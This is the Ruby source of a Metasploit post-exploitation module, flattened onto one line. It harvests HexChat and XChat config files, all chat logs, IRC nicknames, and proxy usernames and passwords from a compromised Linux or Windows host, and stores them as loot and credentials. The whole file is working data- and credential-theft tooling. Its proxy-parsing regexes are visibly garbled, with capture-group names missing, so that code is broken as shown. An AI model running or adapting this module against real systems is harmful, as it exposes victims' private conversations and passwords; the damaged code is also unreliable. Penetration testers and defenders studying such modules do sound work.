## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Exploit::Deprecated moved_from 'post/linux/gather/enum_xchat' def initialize(info = {}) super( update_info( info, 'Name' => 'Linux Gather HexChat/XChat Enumeration', 'Description' => %q{ This module will collect HexChat and XChat's config files and chat logs from the victim's machine. There are three actions you may choose: CONFIGS, CHATS, and ALL. The CONFIGS option can be used to collect information such as channel settings, channel/server passwords, etc. The CHATS option will simply download all the .log files. }, 'License' => MSF_LICENSE, 'Author' => ['sinn3r', 'h00die'], 'Platform' => ['linux'], 'SessionTypes' => ['shell', 'meterpreter'], 'Actions' => [ ['CONFIGS', { 'Description' => 'Collect config files' } ], ['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ], ['ALL', { 'Description' => 'Collect both the configs and chat logs' }] ], 'DefaultAction' => 'ALL', 'References' => [ ['URL', 'https://hexchat.readthedocs.io/en/latest/settings.html'] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } ) ) register_options([ OptBool.new('HEXCHAT', [false, 'Enumerate hexchat', true ]), OptBool.new('XCHAT', [false, 'Enumerate xchat', false ]) ]) end def whoami cmd_exec('/usr/bin/whoami').chomp end def sep if session.platform == 'windows' return '\\' else return '/' end end def get_paths(mode = 'HEXCHAT') paths = [] if session.platform == 'windows' appdata = get_env('APPDATA') if mode == 'HEXCHAT' paths << "#{appdata}\\HexChat\\" elsif datastore['XCHAT'] paths << "#{appdata}\\X-Chat 2\\" end else user = whoami fail_with(Failure::Unknown, 'Unable to get username.') if user.blank? vprint_status("Detcted username: #{user}") if mode == 'HEXCHAT' # https://hexchat.readthedocs.io/en/latest/settings.html paths << "/home/#{user}/.config/hexchat/" elsif mode == 'XCHAT' paths << "/home/#{user}/.xchat2/" end end paths end def list_logs(base, mode = 'HEXCHAT') files = [] if mode == 'HEXCHAT' # hexchat has a folder for each server # inside each folder, like 'freenode' # are files: sever.log, .log, .log folders = dir base folders.each do |folder| file = dir "#{base}#{sep}#{folder}" file.each do |f| if f.end_with? '.log' files << "#{base}#{sep}#{folder}#{sep}#{f}" end end end elsif mode == 'XCHAT' file = dir base file.each do |f| if f.end_with? '.log' files << "#{base}#{sep}#{f}" end end end files end def save(type, data, mode = 'HEXCHAT') case type when :configs type = "#{mode.downcase}.config" when :chatlogs type = "#{mode.downcase}.chatlogs" end data.each do |d| fname = ::File.basename(d[:filename]) p = store_loot( type, 'text/plain', session, d[:data], fname ) print_good("#{fname} saved as #{p}") end end def get_chatlogs(base, mode = 'HEXCHAT') logs = [] case mode when 'XCHAT' base_logs = "#{base}#{sep}xchatlogs" when 'HEXCHAT' base_logs = "#{base}#{sep}logs" else vprint_error("Invalid mode: #{mode}") return logs end unless directory? base_logs vprint_error("Chat logs not found at #{base_logs}") return logs end list_logs(base_logs, mode).each do |l| vprint_status("Downloading: #{l}") data = read_file(l) logs << { filename: l, data: data } end logs end def parse_config(conf) if conf =~ /^irc_user_name = (.+)$/ print_good "IRC nick: #{Regexp.last_match(1)}" end if conf =~ /^irc_nick1 = (.+)$/ print_good "IRC nick1: #{Regexp.last_match(1)}" end if conf =~ /^irc_nick2 = (.+)$/ print_good "IRC nick2: #{Regexp.last_match(1)}" end if conf =~ /^irc_nick3 = (.+)$/ print_good "IRC nick3: #{Regexp.last_match(1)}" end /^net_proxy_user = (?.+)$/ =~ conf /^net_proxy_pass = (?.+)$/ =~ conf /^net_proxy_host = (?.+)$/ =~ conf /^net_proxy_port = (?.+)$/ =~ conf unless proxypass.blank? || proxyuser.blank? || proxyhost.blank? || proxyport.blank? proxyhost.strip! proxyport.strip! proxyuser.strip! proxypass.strip! print_good("Proxy conf: #{proxyhost}:#{proxyport} -> #{proxyuser}/#{proxypass}") create_credential_and_login({ address: proxyhost, port: proxyport, protocol: 'tcp', workspace_id: myworkspace_id, origin_type: :service, private_type: :password, private_data: proxypass, public_data: proxyuser, service_name: 'proxy', module_fullname: fullname, status: Metasploit::Model::Login::Status::UNTRIED }) end end def get_configs(base, mode = 'HEXCHAT') config = [] files = [] if mode == 'XCHAT' files = ['servlist_.conf', 'xchat.conf'] elsif mode == 'HEXCHAT' files = ['servlist.conf', 'hexchat.conf'] end files.each do |f| conf = base + f unless file? conf vprint_error("File not found: #{conf}") next end vprint_good("Downloading: #{conf}") buf = read_file(conf) next if buf.blank? if conf.end_with? 'chat.conf' parse_config buf end config << { filename: f, data: buf } end config end def run fail_with(Failure::BadConfig, 'Please specify an action.') if action.nil? if datastore['XCHAT'] get_paths('XCHAT').each do |base| unless directory? base print_error("XChat not installed or used by user. #{base} not found.") end configs = get_configs(base, 'XCHAT') if action.name =~ /ALL|CONFIGS/i chatlogs = get_chatlogs(base, 'XCHAT') if action.name =~ /ALL|CHATS/i save(:configs, configs, 'XCHAT') unless configs.blank? save(:chatlogs, chatlogs, 'XCHAT') unless chatlogs.blank? end end if datastore['HEXCHAT'] get_paths.each do |base| unless directory? base print_error("HexChat not installed or used by user. #{base} not found.") end configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i save(:configs, configs) unless configs.blank? save(:chatlogs, chatlogs) unless chatlogs.blank? end end end end